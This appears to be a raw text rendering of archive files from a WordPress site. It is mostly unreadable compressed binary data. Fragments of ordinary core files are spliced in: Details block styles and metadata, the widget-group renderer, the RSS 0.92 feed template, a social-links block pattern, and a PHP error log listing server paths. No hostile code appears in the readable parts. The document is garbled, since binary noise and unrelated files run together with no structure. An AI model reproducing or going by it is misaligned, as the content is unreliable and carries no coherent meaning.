��������]*�o~��D~�\����b���I�˴hj�w�������hw����1�5�e�+��OGf^�y:o��0�IT#�EҘe��/�gj�j�g����MR����X@}W6��<-�w/^��ER��P/��P�6�Y�V��_$���ia�"k�$�;] $��.`��2�s3���m��e���Ջ�hT��<O�~%�sG?��r�����E:~�Pb���*Y�wIU%W���=1���iJ56I�h�k���gx{m��~��?"�.6V'��`h����ƫ�n��UZ�����*��-9*���m��!��2�_��J�UU6es�Jλ���Շ�ׇ�'0z�t*�5K��U�Z�I�������v��������uA��d��كոC�9���2]�*�ٱ_]�_5��'�7�ol�����J��0{د�s���c����yY��֩{?�u�z��Ezi���P�=�rX�����2ՠ=��Ҁ��'���`V��<m��2�a���؀{�������e`w�i�ʶ�S�ͺ*�xv�����ϟ`A%н��2Y�.�Y͓��Y���=K�+H���Ł|�����<V��d�P�<��j��e���Ac����IS�d����i����/���9�h����a�=#�
��`�i����̵ ��盤X���u�2&�	�W�2Ы���j��>�e��5�=S�s$*�*,��t�H�I����e"�|]U0�HD���4r�
,���O�z�d`LH}�oP[�:�%6�噝��~ً��H��
~aq��4�3Qhd@i���>�pP��ˑTM��t�"M*��_�g�:o4�ჽq
G-,��ZD�p�,Vz��Ӿy�4q��t.J��he�P��Y}D ׄ,"9���:�d�H20�)�Wy�@�0��t��
`ڗ$]�1dS$p!��blKE[�4w��11y�̐��5
�A��&����
韁�"H���
��*�pm�`�$E@�ǹ�
�B����n��Ll�������$.�p�c3�##���	?�־9]�zq���{�p���Z�8�)!�QHG�9*)lo�4+�{���U
���9��thw4(��_-W�|��k�5,�$�}�O/�ZH\;�#���t�f=�Y"[nI��B��H*����`aΪr)�Z�^$�z�ԎX��B��fe��ٵ�a����gw��>G�u�
�Fu�Qo$�l%��nPam�n/�>w%��8�#��I��Q;S��[��J��ucV �y����&,/'�>M�<���H8��;�)�9�@a�俍AKl��]2r�iq@ߪ�3ˍ�K@���M����b�
��
ҙ���tY�AJ�[LK�HnB
P�ׄ��z��/��>���-*�:r���Ɣ�!gc[�������
���
����"C@�/�l�l�v�Ac\�Q�~�ʕ�tb �k��c-�O�ER��Y���]yjuĠ;�y����Ϡ7v��p���b��#�po�#��s�4:o�+�dX�W�����@��@�%�o���'��xj�.| P#���:71f@�q_q��d�I<�����6�H`tR�y����h��,�"#�wzX�EY��qu�{%IT{>�i	�}�A~
rt��
��3�D� 9x��{���M���܅�'�Ÿ*׈/-����9P������\��Y��0����U�‘������l�V��po����K�V���nX� �����-�G
��S	�?�?�����maR�
�-�	�@�7
"���D@Y�"N�j��#��Dt��}d/�E�z �t2��&������4�_�,S%��l͠ɚ�~8�~�Y�Z�*�)[8��4+���NF��0Ȫ�LV(�+y���W�#V
 ��,&@Ye~����A�D`��i���ɲ��`�&��4x��Y��=̅�X��8�"|:e-*�Ȯ������1�s��P5H?�RW$uO�ϱ$�_���QP��w-����Q��?;�XO}�i];Ч�L���$��/��KQ6����1�����[^�;02n�wܜ�)~6<��$���t�i��k"H2����,O�<�p39��C 8+%٘N���?�o.1��XFо��L��2��ڍE�EvCQO}77�dxs9&ɍ��z�XSw[_������`5�eY�����v�NsGG[�Ǒ]Y1��j𨰟���V���^�Zv�s"'a 5��)�w��h
�^��#/���I�����������+4�,��ej���A@ �jT��x�V�TB*g�X�M}��G;���xl�ͯ�Bb�[$F�S���ačƋyߕՒJ�9;�V�Ʈ��M��
��$��ގ6�0�뢒z��J�aC���m9�WE�f��	��"�m��z�]哬��en,2���H�1�q�fW�K�$����aw	��rBD��
�5t�Ni�Hq�����	?��+|C�)�;A����i�V�̆��)�T�H�`e���l�B��%h�b�%6��*�èc�8���y.E�xAۮ;�ظ�+� A�r X�#%���-�v�xKek��N���P=��15�2E]P�_&W5IN��5QR.�[���zV����JI�aիtN�(�5-��N��S�Q�V<<���aH��0���F���ae!�d��6Y#r�������!rF�K��3��2�D��_%���0a �<v���Z�@���4e��I�����.��C�Ve�=|��뽑���'�>��)�7��T��A������A{hơ�aV����|N�,=�ů��<E�$��)0ټ�c�>w���n��ruw�+g�
�o����T�i��:Ko�� 

jC�J���L����2DS�`庲�cq�8<;#���UY�Z�J�0�)�o������⦨�M���9n⪲ʼn)�p�?���¸�j�B;C�-�:˩y
D�P�&�W�“=%R#Bs'�E:O�:�W�Ŝ�[Yn�%u�I�+ͧi��@��Żޏ�+�q�H)���j��V	ˉ�k��={:�`{,"���O��B&�m�>Ȗ�C
��	GlE%sf��2U6a��ɐ/��	�7���z	�黕��4�!����e�.��T�Ğ���7Un$$�ޒo��X
V�>
���GJ���\�.a�-�"E�kD�J�C�xr�[q*��,�.��y��1.Y��+2�G~6�ѩ��}$���C?�\	����آ�DS�
S��m���12�mꨣ�;7�O����t"9k����x��o4�k{`Y�0�|�"tr�Q�3���l�%z]�*��Ǟ\
V��*���D"A��+#{w(Y��Z����(��,$\��%	^�F2c���m�̄�q8�����T �K����WNl��1�O9����N�nX���֭��i%�
�v���wT��%ɚ6�|lV�sXN22�z�����[V����z���y�^o��6��뤖����ȇ
"�-����%
�'w@�Q��+��n!'J��quZ ;�ȼ�p�4��봖l*8��uHؽm��Z�m!`��̖^3.37i��;L�t�@t.�/�F�����ٔ1	]m+M��:�+N�ga�b~���x�S�|��Q�o��4"o.��S�*9ԺS&ꂳ7�P׉P����y$��Y�l�E�h�3�u�L����׵UY�U۷�\:s8�B�2��`��x�>�w=�:�^W6 �	������f�G�<�������P��ɕp�)u���-d�u��b�!�����nZ�`�E�V�F��=RD�a��g����h�A_%@�߉+"�V��E���_��X���:I)@��%4CGf��	Ȱ���p't�n��V�3U�	�a����j�N���9[���>��IQ�����А-��@)���y&񤎤Yv9޳��S��/��Y^^z �m��7�}&���H�ʔ�&$+%��1��,�A���R��&�rK�z|b9+t����b����8�
�Z�'�hqK��`˞v�Z�i�<�į3g�n����?���5�*���V`�Xn��g��j�����X�����̄��օ��C�
j*�"�����MV�kk�9�*J?H̔*MQC�9zl�k4�W�j9�A�Z��}sT�,�����#A�Ȯ�,v���t��MY��x���bF
�-JF���DS�P%�Q��"KlEEO��l]�A;?�/w�q�8����c0r�鎪{<��N��A
�<�>
�T�h��a�r��݂�[w��;���Kv��Zqm蒑u���`�C���G�	�ށs7r�w�u�#Oj)�-N~����ɛ�$�Õ�XH�VU
���d2��@��
��ϸR����춭\]�<8��&2�.3���d��*��s�A�I�M.�}��R��5�&�:��3^�C�;&�d3,#��nY�3"�zG/��A'�����4t����N+��V�̮�Nc�~��+
ֆr�*M_��65"�_'IP�	�~���aro��7v��oT��}���uU��:Ϧ# mlx(]
��b!}��}��^�z�s\��l0�Ժ`�K���P*���/~���K�Ѩ����?i0�mm_*ͬ�>�]��ϮF7ק��j�8�n?@Q���^�5+wV��V^w f�P�Y�K�#n���u�T�H�l2���i�j���)��ӎ�g�z4�쪜�[BS��u�w{�ޜ/ `�N���e��o�V��1�#Z��(:۪ 6�6�Y���io�{�įP�֜��k���#-m�(v��(�<n�����!�VI�R�\�;)�<O���7q%��a�@h��#2US�����nL*��Nl�1w5$bD��ib��'�T��	���RӢ!��m2���ƓGF��tz�⑧�sN7t��-���Q� TY1�$3�i��i��Tv��{=�e�B�F�����2Yi�z#�V�u${�u%f�{���"���C��>Qʓ�����5!j-�;㏇��T~)���z��q�4O��k�=#	=��:/���pn>�P��z�Md�T3��8US4u�g:BvR��jns�`�XʩF�D�N��\���:�[���Vv�ҷ��"mKR�Ȩy*�C;�;�#c:͜��Z+�A�	��À���[*�S�Ժ�L�$�/�k
�"
$�X�!ѶVn�M���Ei\�'�Ɍ"��������Ox�ﳠx+��ؙz-}k7�p5H�{v	vb�瀦��ܣF�X;b�h��y�"�4
h���������� }-�;��g��b8�!�������Hm?��9�H:�b�I����6@EdԌ�[�	!t�:tvUm����b�Xl守O"���v����>�AwM�7�՚��ω�]�;ܿ[�1���(ϻ��V���x��K��o��p��ޙ:�Pg�,`�-�P.���f{��("���[����&YZ��(�4�l@ �c��a�dʒ���-���E��~c3<��'��C0�y��W��ʿ�9>y�*���i�/�y�;a�R'������Ճ߯�We����cS�a~�x�-�x��%�1�`����j3�Lj����bC~�McwI�5v�-�߀d��VDK���:�2�/�uZ.�?�R5џ��f���ĵ�`Yi\kS��g2���T�����Gvm��5W���l̒���ta�oe��3<�t����ն���[�7!���7(˱6��Ϲs��X��^�/B�މ��,+�ITw&�)A��L���	�,��ݜ�<ђ���:�h�dG�0F��>w(M��q �i�����z&q�(��Ɵvm�L}��-�E�BwL-w�>��7�-��.D��z?�X*�3�y��8�v֜t@�(�c��E��m����`�g�[���[3���co
�AetZ֕��Kz`�=l|B.���P~56G��?:0��@�����Mɻx�� 6	k�f��)%U�S��dM�X+Gw�	��׎׳��x�Z9{+!u[���]�:�'�/2��t:<ĕ����ܧh@�Us�a�T)0z��hCi�;(���Q��w�'�v�T�w�2S��Tb/�-#�!w[����#�$]�~G�+Y��s����i`6k�a;i*Y����h��:�J��W�)/��<�|��d�T�>������ٴL�������H�d�ќ�K$��Tɜ������J�m3���n^,_`
��ݷl��e�*t���cS�ym{��l�sx�r�
t�[0*	|��]O�$)��0$��o�3> ���Z#5ŧ]���
=eߔ����Yg��/�
�W�M�m������!j�2�Y7��حU�-���&�s?4›��n���~N��wq�#�bi_���L��_�����G���':�"�Յ�@0�އ%ኰ�l���k8�#q)�2�;o�/����ܾ	(`�K�o,����YV�W�^�����K<JI�Ì�օ�/A,]��^�tE���x�9���Ϲ�>��v�{{Q��$0Ih���΢��L��yH9�JGϺTq.�J.�w���>iI�G�o�;򔄆0Jq�'�Gnp��+r�y
�]>|z�����a�X��0��D5�((�B�d�b�!��[�$t~'R�t�djI�"p�����@�T=��TqR/�rjL�<�����Z�CƦK�}I<�opB�hF�~=ֻ��Hŧ�
�4e�޹�At�����$��$�<�tO�"��=��%�;����PY�E��~�y�X��Nϴp�F���j8Q�ti��RN-�sr���_;��g���YR�ۺ��H���6ڭ����B������_D�5?8Q1	D����j>�_��<��	sd�#�+���k��V�����Xĉ|��jJ�ڶ�ڋN�c˦�U��/SK��떓���}�d�vK
��J�N�D����-3
5��c����̉t������-8�4�e�
�M \
�ۘc�3s��7֑\Z)	����&Q�QG>��{���r��<Y*+�(�.�J:�Dv85�6f�Sʶ�!���g��)�d�G�+c<Q,>Ş��Ư���V�`���r1g�E��QO_��ƶ:E՜u����tE2��'�a�I�x�7�uV��ta�ݯ�ӑ�u�a��z�nǣk�(�1����D'�|Dof�f�o�ȟ����fTB�s;���_ڷ��<k��wz��r������7�H.K�fq���(�x����Y�u�><�F�ks��Omc^�q���jn}Ȣ�s��G5�v�����>Y0_R����6,<G��$�'a�� 9ޢ��>�yk�:k�4��X�q ��t���w�����ףNmbO����vV
ٰ�G|4�P\�H䂆�Q�:�Y\
����34���EZ�E������A�l�vP�
�i�;ę�y.	�+��p.pB[��Ck�\�z���Y<�n�yc��fxt��霑.f%���k��"qxm(��3�J2��GwL��n��L-�wU���G��懱4�ls����m�:O..g��>{�2�&�7n�{2&����r�>��l��J�i������)7Ә/�Ai�uS@$�+[���a�!�Z������݌b.ׁ^����RsK��v:P�[���C�0Й��<�Ml՝��{�:�-����!(��Nex\��d�q�bs��'[ %�Li.R�� ���B�"�Wyre���y^ZI�d��9���/c��S�~i��B���7�����A��
@�~���gO�h�HL����H-��F��}�׉��Y����&�sL���IgT�BB��F�~~]FP�.���Z�Thq�yx�8(a�[���*^e�۲��ʏ�[:�Y9�,�3MW���ŵC�dCrWO���&8����1[���7?Vy˃Xת1�XP�%�i���jEp���{	`��|<�<��xz2�
�2��<+�j
FzNa�|V�Z&A���Wek�Gf@'�2�v�"nD�oKa�ǭ0��C����\7x�f�m�������x7�g8���cj�9:1] �Y=�����Q5ɛ�j��������U'�켈��²�tYz
��0~��?t�ߦ��������r �^��/���%У��� 0�j��T�yh(�#�L_�l�EY��
����E���G/�F)�k���f������R�;��Y��>���lc��-D��N{���C��5��~Si��<��p�&��M�B�:v5=x����P��(��: ۑ���nh"{�{Ls2鯺y�{��o:�j^s�2��!s�k��]�*�,�B��k�c�^f����@�'��>��*iv~�t���tUZ{L��vpW!�����c
U��F}�H`6�h�bY'Dt!�
�C��C��'�����;g��L�}���bŽ�܈��k�[�J�l+[���`D�d�����e���in�&��Si���Z�Et�%O�����%�3z����8�����l
�):�B��rɋ/܆����W�Ҍ*�,d��>=�����W!�qt���N:��]�m��/Ϲ�a�0�mc'z,D\������cֶ�+��
�^��cCC<�[�L[J�w�^<����
���@���"M颿[����@'@�X{h���|��גBM�A#;�j="���	WӨ���6�E%д�<S=��e���3|��·��[�՗�AҸ\ݗ�?��}�Lܗ�"?ה�/��7�f����9��9���.p	*Qy9��C��0w���dݛ�9#c�ؕ8(<!�b�C�V����_��x�Nlޢg���n�oo{NtC
��x�%�qG0z����Za9��+�6'������A�v&�#�u5�.��=T-�J{��N���+G�u����xk��kʾ�[k��:��+�$g���ɐ���ʄ��^�;�H�ݦA�777�=y�ljl�x��6�=����2��$S�V-jc��vu�ͭ'��1۴~�%�j]���:&Wڮ���%�j]���:��w1�[u�+��݉6�%*��,,	����5���v��?_w�lm�6�et@��g��JQO���G_0�N�"{������S>�]؊Q�'�ļ���~a�%���$��lN��+��f�-~s���\�v��B��Bf,���#����;E\��	BV��&�&�t������?���%}��D-��/K鬄��P�DT8��?:`{���g��}�����YRgst�Jl�b�>�a����?��Y��=	o��7�҃������eFR��Q0	�s����z�[ֳIR�9ճ9�;+�L2��s�u@�ma�!�
'�^��X8���XE�Y�?aO-he��J��<�F
y��ٻ]�+!���=��<�����<0P��~��j/�հ�+�&Xs-��qV���x�t��)K-:'ү�L�W�&yI�UƖ�p˂�K� С�)��
ۄ!P���j��H���u���L�[묬�����W~ۘ4y��r:�B�<�U�'#s���'
/	s�����W.(�'X��Wi-5�x�rR��~r�qD��
/����@{(|1�����Ma���M������t<�h��$(�G�$�P��;��"�X��(��,k,[���R�/���˄N��]zЃ�*}�����Dv�U-�kN;�Ƹ��0���O%(a_�2lBl����
�+��c��D�S��Kt[i.SI����r�3`s�x�)���/�	���(�,���m�+�6��(i�:�
��jYtT�{[}W}����RnE;���,�qd�54��+񅇸�������ǻ���-�1��C�t�;`�.z�lw�����VB)Zf O*�3'�����:�m�k�C���c��9�<��ԏ�I�L]qdQ�{��6���=hu�!|.41���41ϓ�b\�zW���"n_��#3~�{�����#��oQ/���1��}w%��7t��E"�i{U��5{_&���8�4�g�:��iy�-�$H�l��6m��;������ю�9��'�U�1�(�(�~tA�z|�d[�Յ��zd�E�!���8'��4��`��R4G���Ȩ���K��)�?�@�]�0��N�v(�?�w1$1.��t�v\�g�kh��=�{\d�
��7�ɞ�x�շw�����SVt"q���.�����B����9m��Ô��u�U���e�`�S�K[�1�h`s�ƔR4�n&t��W�����ˋ�¥�9G(8�_*�
K��X���{�n&j=��.?�GL@�r�s"H\}+���kK�V�.mA�Vi���k����g�G�m�2�|t�7��}��?������Ͽ?�����.P�14338/details.tar000064400000027000151024420100007347 0ustar00editor-rtl.min.css000064400000000055151024247430010127 0ustar00.wp-block-details summary div{display:inline}style-rtl.min.css000064400000000121151024247430007773 0ustar00.wp-block-details{box-sizing:border-box}.wp-block-details summary{cursor:pointer}editor-rtl.css000064400000000062151024247430007343 0ustar00.wp-block-details summary div{
  display:inline;
}style.min.css000064400000000121151024247430007174 0ustar00.wp-block-details{box-sizing:border-box}.wp-block-details summary{cursor:pointer}editor.css000064400000000062151024247430006544 0ustar00.wp-block-details summary div{
  display:inline;
}block.json000064400000003272151024247430006537 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/details",
	"title": "Details",
	"category": "text",
	"description": "Hide and show additional content.",
	"keywords": [ "accordion", "summary", "toggle", "disclosure" ],
	"textdomain": "default",
	"attributes": {
		"showContent": {
			"type": "boolean",
			"default": false
		},
		"summary": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "summary"
		},
		"name": {
			"type": "string",
			"source": "attribute",
			"attribute": "name",
			"selector": ".wp-block-details"
		},
		"allowedBlocks": {
			"type": "array"
		},
		"placeholder": {
			"type": "string"
		}
	},
	"supports": {
		"__experimentalOnEnter": true,
		"align": [ "wide", "full" ],
		"anchor": true,
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"__experimentalBorder": {
			"color": true,
			"width": true,
			"style": true
		},
		"html": false,
		"spacing": {
			"margin": true,
			"padding": true,
			"blockGap": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"layout": {
			"allowEditing": false
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-details-editor",
	"style": "wp-block-details"
}
style-rtl.css000064400000000135151024247430007216 0ustar00.wp-block-details{
  box-sizing:border-box;
}

.wp-block-details summary{
  cursor:pointer;
}style.css000064400000000135151024247430006417 0ustar00.wp-block-details{
  box-sizing:border-box;
}

.wp-block-details summary{
  cursor:pointer;
}editor.min.css000064400000000055151024247430007330 0ustar00.wp-block-details summary div{display:inline}14338/more.tar.gz000064400000002054151024420100007305 0ustar00��XMo�6�k�+�{�l�IA��(�æ@��K,hj$��H��b{���%ۋ���i����9�{!N��8�+��qk�}s��.F��8Z<���8��8�D<��D�>�C��cC�"��zS��}�1h:RX��sݾM�c�[��S���~���ǂ�L�p����X�'K��r՟�3����Q�~�`�B&E�(�<�f�2���1��lAk�p�d��-��̰ro"TY��:Y�~�8e�>3�R	=O�t2�&��
��аDT��0ᩞ�6g��5#�����˱�MR�\��B�
YYJ�eaݟ�P�������
dȧߺh�"�}��@�7L��i�\սb
H��8���
���H��V|1��;��^D�$o���z�i���%K�2zQΉ�J��pB+���pd�k��#զ�UY����J@S�+����{^t
�?˒���%	�9$�s���̔�A0��:\�z!lj��LL������Oo}���������G��Q��	��!�lе
��#!rH9��NgOpܮ$w$䐕�t�i:�˃��b�����	�v���P�U؍`��-�@h[6����R�뇇$�k������jK99V�}ߕ�l�xLW�ڭ�{Ku�^�Z`\i�_\#3�������{{�_�Gq�'���[�o����z�zY�^/�s�_�a�����Y��9,�$ȝ+-����i�����}sV�.��R�	��AϡG+�ϲQ
�:�d
X!�9�<��`I���ɍ(]3cp�\L�\d�raI��	)&6�3�$��s�tD+�Е!����"�eЫ��b�\`q�[`	��$wu��0�.�PM^)��kV�S��;�+�c����D�Y�;Z�2�wv����'�JdAs�:�ZS�)��{��!�Ȥڸ�l�$���)A�Q�G��r(0�(��(ቜq�x��l�X�k� 2��������h����O�	���~k��W{��������`��	�}�o����Zk����c�8"14338/widget-group.php.tar000064400000010000151024420100011115 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/widget-group.php000064400000004606151024243300025757 0ustar00<?php
/**
 * Server-side rendering of the `core/widget-group` block.
 *
 * @package WordPress
 */

/**
 * Renders the 'core/widget-group' block.
 *
 * @since 5.9.0
 *
 * @global array      $wp_registered_sidebars
 * @global int|string $_sidebar_being_rendered
 *
 * @param array    $attributes The block attributes.
 * @param string   $content The block content.
 * @param WP_Block $block The block.
 *
 * @return string Rendered block.
 */
function render_block_core_widget_group( $attributes, $content, $block ) {
	global $wp_registered_sidebars, $_sidebar_being_rendered;

	if ( isset( $wp_registered_sidebars[ $_sidebar_being_rendered ] ) ) {
		$before_title = $wp_registered_sidebars[ $_sidebar_being_rendered ]['before_title'];
		$after_title  = $wp_registered_sidebars[ $_sidebar_being_rendered ]['after_title'];
	} else {
		$before_title = '<h2 class="widget-title">';
		$after_title  = '</h2>';
	}

	$html = '';

	if ( ! empty( $attributes['title'] ) ) {
		$html .= $before_title . esc_html( $attributes['title'] ) . $after_title;
	}

	$html .= '<div class="wp-widget-group__inner-blocks">';
	foreach ( $block->inner_blocks as $inner_block ) {
		$html .= $inner_block->render();
	}
	$html .= '</div>';

	return $html;
}

/**
 * Registers the 'core/widget-group' block.
 *
 * @since 5.9.0
 */
function register_block_core_widget_group() {
	register_block_type_from_metadata(
		__DIR__ . '/widget-group',
		array(
			'render_callback' => 'render_block_core_widget_group',
		)
	);
}

add_action( 'init', 'register_block_core_widget_group' );

/**
 * Make a note of the sidebar being rendered before WordPress starts rendering
 * it. This lets us get to the current sidebar in
 * render_block_core_widget_group().
 *
 * @since 5.9.0
 *
 * @global int|string $_sidebar_being_rendered
 *
 * @param int|string $index       Index, name, or ID of the dynamic sidebar.
 */
function note_sidebar_being_rendered( $index ) {
	global $_sidebar_being_rendered;
	$_sidebar_being_rendered = $index;
}
add_action( 'dynamic_sidebar_before', 'note_sidebar_being_rendered' );

/**
 * Clear whatever we set in note_sidebar_being_rendered() after WordPress
 * finishes rendering a sidebar.
 *
 * @since 5.9.0
 *
 * @global int|string $_sidebar_being_rendered
 */
function discard_sidebar_being_rendered() {
	global $_sidebar_being_rendered;
	unset( $_sidebar_being_rendered );
}
add_action( 'dynamic_sidebar_after', 'discard_sidebar_being_rendered' );
14338/code.tar.gz000064400000002233151024420100007254 0ustar00��[Ko�6�5����"�%ˏB�5�E�@�CQ�4��H�@�q���{��_����]ˋ��!���pD��<hCB�PY7��K��W��
�rl�����?By����)u,�"�lc�o�e�M3�{1O����$�O_�$b����6Z�j9�����������T���q�)	�((�3�8?�q<�5x�$t!�A�3Δ7#9�V�o�2~}��#�:��\�� 1��I�Ҩ��N��cO��b������F��?�C����3���9�-�!������?m��,�_7J����'��p`����T����X�������'�'M�
�Q�n*&T@�(gQ��$����*2�*�esTM��YƗ�R�"�
 ����(xT�hʰ/U�d��*�̡�{N�����-8Z�5��a��4Q[����u�W��?�z�?[�����?�7ߣ߈��R��)���ڎ�vV[+�q��(��y'���0-�[������w����o�#��ǵ�?������Ε����7rܹR��z�R"�t�r���X���~���8��]=������}pO%���*3⛭$&
R.VZ�ݼ& cAU�sߖ��9��hQ�������Ί/���W�G���s�ք�]	��"+�!J	:](�؂O��`TLm>��Ua�4�{[�P.q���2�����ˇD��݂��f�;��>��V�/��ߺs�ֆ�EQp�vf��?��K�:������s3�n$h/O1��v���[�	�]�e��t�*�;x,0�q
H�G�3ڑN�Dӭ�.>����A��q��p[��x�㯠��rO|���rGܠ��g�5�����K2+-wz�eΉH��)^�׎;�J�|��M��Kv�g$���C}FZ5���g��l-�Cb�Uvҕ�hj^��#o�E�k���U-߶l��u8�>��S�Lh�<žf��ɫ6R<%��恪=��L[�<��po�z��n%�r;�Υ�~�}�����_�����
4�5�0輐*T~#8���n�~���c[C�Ҧ�ߦ&�	e���
�
|���6`���������h���������,,,,^'��X�=<14338/feed-rss.php.tar000064400000006000151024420100010215 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/feed-rss.php000064400000002245151024203470023576 0ustar00<?php
/**
 * RSS 0.92 Feed Template for displaying RSS 0.92 Posts feed.
 *
 * @package WordPress
 */

header( 'Content-Type: ' . feed_content_type( 'rss' ) . '; charset=' . get_option( 'blog_charset' ), true );
$more = 1;

echo '<?xml version="1.0" encoding="' . get_option( 'blog_charset' ) . '"?' . '>'; ?>
<rss version="0.92">
<channel>
	<title><?php wp_title_rss(); ?></title>
	<link><?php bloginfo_rss( 'url' ); ?></link>
	<description><?php bloginfo_rss( 'description' ); ?></description>
	<lastBuildDate><?php echo get_feed_build_date( 'D, d M Y H:i:s +0000' ); ?></lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language><?php bloginfo_rss( 'language' ); ?></language>
	<?php
	/**
	 * Fires at the end of the RSS Feed Header.
	 *
	 * @since 2.0.0
	 */
	do_action( 'rss_head' );
	?>

<?php
while ( have_posts() ) :
	the_post();
	?>
	<item>
		<title><?php the_title_rss(); ?></title>
		<description><![CDATA[<?php the_excerpt_rss(); ?>]]></description>
		<link><?php the_permalink_rss(); ?></link>
		<?php
		/**
		 * Fires at the end of each RSS feed item.
		 *
		 * @since 2.0.0
		 */
		do_action( 'rss_item' );
		?>
	</item>
<?php endwhile; ?>
</channel>
</rss>
14338/block-patterns.zip000064400000120360151024420100010671 0ustar00PK�Vd[�&����(social-links-shared-background-color.phpnu�[���<?php
/**
 * Social links with a shared background color.
 *
 * @package WordPress
 * @since 5.8.0
 * @deprecated 6.7.0 This pattern is deprecated. Please use the Social Links block instead.
 */

return array(
	'title'         => _x( 'Social links with a shared background color', 'Block pattern title' ),
	'categories'    => array( 'buttons' ),
	'blockTypes'    => array( 'core/social-links' ),
	'viewportWidth' => 500,
	'content'       => '<!-- wp:social-links {"customIconColor":"#ffffff","iconColorValue":"#ffffff","customIconBackgroundColor":"#3962e3","iconBackgroundColorValue":"#3962e3","className":"has-icon-color"} -->
						<ul class="wp-block-social-links has-icon-color has-icon-background-color"><!-- wp:social-link {"url":"https://wordpress.org","service":"wordpress"} /-->
						<!-- wp:social-link {"url":"#","service":"chain"} /-->
						<!-- wp:social-link {"url":"#","service":"mail"} /--></ul>
						<!-- /wp:social-links -->',
);
PK�Vd[g��L�x�x	error_lognu�[���[21-Aug-2025 04:10:58 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php on line 9
[21-Aug-2025 07:25:47 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php on line 9
[21-Aug-2025 07:25:57 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php on line 9
[21-Aug-2025 07:26:09 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php on line 9
[21-Aug-2025 07:26:17 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php on line 11
[21-Aug-2025 07:26:29 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php on line 9
[21-Aug-2025 07:26:41 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php on line 9
[23-Aug-2025 05:56:58 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php on line 9
[24-Aug-2025 00:13:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php on line 9
[24-Aug-2025 00:13:05 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php on line 11
[24-Aug-2025 00:13:08 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php on line 9
[24-Aug-2025 00:13:10 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php on line 9
[24-Aug-2025 00:13:13 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php:9
Stack trace:
